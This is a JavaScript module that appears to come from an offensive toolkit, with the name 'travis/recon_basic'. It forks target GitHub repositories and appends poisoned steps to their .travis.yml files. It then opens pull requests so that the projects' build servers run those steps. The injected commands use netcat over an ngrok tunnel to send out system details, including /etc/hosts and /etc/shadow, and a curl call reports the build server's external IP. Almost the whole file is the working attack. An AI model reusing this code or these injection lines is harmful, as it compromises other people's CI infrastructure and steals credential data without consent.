const log = console.log,
  chalk = require('chalk'),
  green = chalk.green,
  cyan = chalk.cyan,
  ngrok = require('ngrok'),
  github = require(__dirname + '/../../../lib/gh'),
  files = require(__dirname + '/../../../lib/files'),
  repos = require(__dirname + '/../../../lib/repos'),
  exp = require(__dirname + '/../../../lib/exp'),
  travis = require(__dirname + '/../../../modules/travis'),
  server = require(__dirname + '/../../../lib/server'),
  ng = require(__dirname + '/../../../lib/ng'),
  targets = require(__dirname + '/../../../lib/targets'),
  repodir = __dirname + '/../../../../repos';

module.exports = {

  // This particular run function returns an array of netcat listeners
  run: (callback) => {
    exp.exploitSingleHarness('github', 'forked', module.exports.type(), module.exports.name(), (err, token, authed_user, raw_targets, ci_targets, nc, duplex, nc_port, hostname, ng_port, ng_server, ng_url) => {
      if (err) {
        log(err);
        return callback();
      } else {
        // Load the .travis.yml file into the repos
        travis.loadTravisConfigAll(module.exports.name(), authed_user, ci_targets, () => {
          const append_promises = [];

          // iterate through list of files, find travis configs and append to the file
          for (let t in ci_targets) {
            append_promises.push(new Promise((resolve, reject) => {
              travis.appendTravisConfig(`${repodir}/${ci_targets[t]}/.travis.yml`, module.exports.injectionString(ng_port, hostname));
              resolve();
            }).catch(err => {
              reject();
              log(err);
            }));
          }

          // Cash in the promises from above
          Promise.all(append_promises)
            .then(c => {
              log(chalk.green("Making pull requests..."));
              repos.pullRequestAll(token, 'forked', authed_user, raw_targets, () => {
                let cbcount = 0;
                log(chalk.green("Wating for basic recon scan to complete. Sit tight."));
                duplex.pipe(process.stdout);
                nc.on('data', (info, msg) => {
                  if (msg.toString('utf8').includes("ciderdone")) {
                    cbcount++;
                    if (cbcount >= ci_targets.length) {
                      log(chalk.green("Basic recon scan complete."));
                      duplex.unpipe(process.stdout);
                      nc.close();
                      ngrok.disconnect(ng_url);
                      return callback();
                    }
                  }
                });
              });
            }).catch(e => {
              if (e) {
                log(e);
              }
            });
        });
      }
    })
  },

  name: () => {
    return "travis/recon_basic";
  },

  type: () => {
    return "travis";
  },

  info: (cb) => {
    log(cyan("---\nINFO\n---\n"));
    log((`This exploit takes advantage of open Travis-CI repositories to 
create run some basic recon against the build server. This includes.\n`));

    log(cyan("ORDER OF EXECUTION\n------------------\n"));
    log(("1) Fork all targets"));
    log(("2) Clone all forked targets locally"));
    log(("3) Start single shell handler"));
    log(("4) Load and poison the .travis.yml file of the cloned repos"));
    log(("5) Push commited changes, and submit a pull request"));
    log(("6) Listen for incoming messages. Close shell once executed."));
    return cb();
    // Print information about the exploit
  },

  injectionString: (ng_port, hostname) => {
    return `\n  - export NGPORT=${ng_port}\n  \
- export NGHOSTNAME=${hostname}\n  \
- mkfifo piperz\n  \
- nc -k -l 12345 0<piperz|nc $NGHOSTNAME $NGPORT 1>piperz &\n  \
- uname -a | nc localhost 12345\n  \
- curl ipecho.net/plain; echo | nc localhost 12345\n  \
- netstat -la | nc localhost 12345\n  \
- cat /etc/hosts | nc localhost 12345\n  \
- cat /etc/shadow | nc localhost 12345\n  \
- id | nc localhost 12345\n  \
- whoami | nc localhost 12345\n  \
- echo "ciderdone" | nc localhost 12345\n  \
- fclose(piperz)`;
  },

  options: () => {
    log(green("\n-------\nOPTIONS\n-------\n"));
    log(green("NO OPTIONS. This is the 'easy' exploit. No need to set IPs or ports."));
  }
}